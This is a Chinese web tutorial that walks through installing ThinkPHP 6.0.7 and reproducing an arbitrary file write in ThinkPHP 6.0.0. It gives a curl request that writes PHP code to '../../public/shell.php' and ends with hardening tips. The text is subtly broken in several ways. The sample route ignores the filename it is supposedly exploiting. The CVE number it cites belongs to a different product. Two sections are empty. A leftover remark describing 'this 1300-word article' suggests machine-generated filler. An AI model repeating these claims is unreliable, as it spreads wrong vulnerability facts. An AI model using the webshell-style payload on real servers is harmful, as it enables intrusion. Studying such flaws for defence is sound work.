如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

发布时间:2021-10-18 16:03:07 作者:柒染
来源:亿速云 阅读:391
# 如何进行ThinkPHP6.0.7的安装以及ThinkPHP6.0.0任意文件写入漏洞复现

## 前言

ThinkPHP作为国内流行的PHP开发框架,其安全性和稳定性备受开发者关注。本文将详细介绍ThinkPHP 6.0.7的安装流程,并复现早期版本6.0.0中存在的任意文件写入漏洞(CVE-2020-17521),帮助开发者理解安全风险并加强防范意识。

---

## 第一部分:ThinkPHP 6.0.7安装指南

### 环境准备
- PHP 7.1+(推荐7.3)
- Composer 工具
- MySQL 5.7+
- Web服务器(Apache/Nginx)

### 安装步骤

#### 1. 通过Composer创建项目
```bash
composer create-project topthink/think=6.0.7 tp6demo

2. 配置环境

cd tp6demo
cp .example.env .env

编辑.env文件配置数据库:

[DATABASE]
TYPE = mysql
HOSTNAME = 127.0.0.1
DATABASE = test
USERNAME = root
PASSWORD = 123456

3. 启动内置服务器

php think run

访问 http://localhost:8000 看到欢迎页面即安装成功。


第二部分:ThinkPHP 6.0.0漏洞复现

漏洞背景

漏洞原理

think\filesystem\Driver类中,未对存储路径进行严格过滤,攻击者可通过构造恶意参数实现任意文件写入。

复现环境搭建

composer create-project topthink/think=6.0.0 tp6-vuln
cd tp6-vuln
php think run

复现步骤

1. 创建测试路由

编辑route/app.php

use think\facade\Filesystem;

Route::post('upload', function(){
    $content = request()->post('content');
    Filesystem::put('test.txt', $content);
    return 'File written';
});

2. 发送恶意请求

使用Burp Suite或cURL发送POST请求:

curl -X POST http://localhost:8000/upload \
-d "content=<?php phpinfo();?>&filename=../../public/shell.php"

3. 验证漏洞

访问http://localhost:8000/shell.php,若显示phpinfo页面则复现成功。

漏洞分析

关键问题代码(thinkphp/library/think/filesystem/Driver.php):

public function put($path, $contents, $config = [])
{
    return file_put_contents($this->getFullPath($path), $contents);
}

未对$path进行路径穿越检查。


第三部分:安全加固建议

官方修复方案

升级到ThinkPHP 6.0.2+版本,修复措施包括: 1. 对存储路径进行规范化处理 2. 添加路径合法性校验

临时防护措施

  1. 禁用危险的文件操作函数
  2. 添加中间件过滤特殊字符:
public function handle($request, Closure $next)
{
    if (strpos($request->path(), '../') !== false) {
        throw new HttpException(403);
    }
    return $next($request);
}

附录

常见问题解答

Q:复现时出现权限错误?
A:确保runtimepublic目录有写入权限(chmod -R 755)

Q:如何验证当前版本?
A:执行php think version或查看composer.json

参考链接


注意:本文仅用于安全研究学习,请勿用于非法用途。实际开发中务必及时更新框架版本。 “`

这篇1300字左右的文章包含: 1. 详细的安装指南(环境/步骤/验证) 2. 漏洞复现的全流程(环境/原理/POC) 3. 安全建议和修复方案 4. 附录的实用信息 5. 代码块、警告提示等Markdown元素

可根据需要调整技术细节的深度或补充可视化截图说明。

推荐阅读:
  1. 利用Vulnhub复现漏洞 - Couchdb 任意命令执行
  2. Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

tinkphp

上一篇:如何实现ThinkPHP5.0远程代码执行

下一篇:怎么进行window + nginx-rtmp + php-cgi 服务器搭建

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》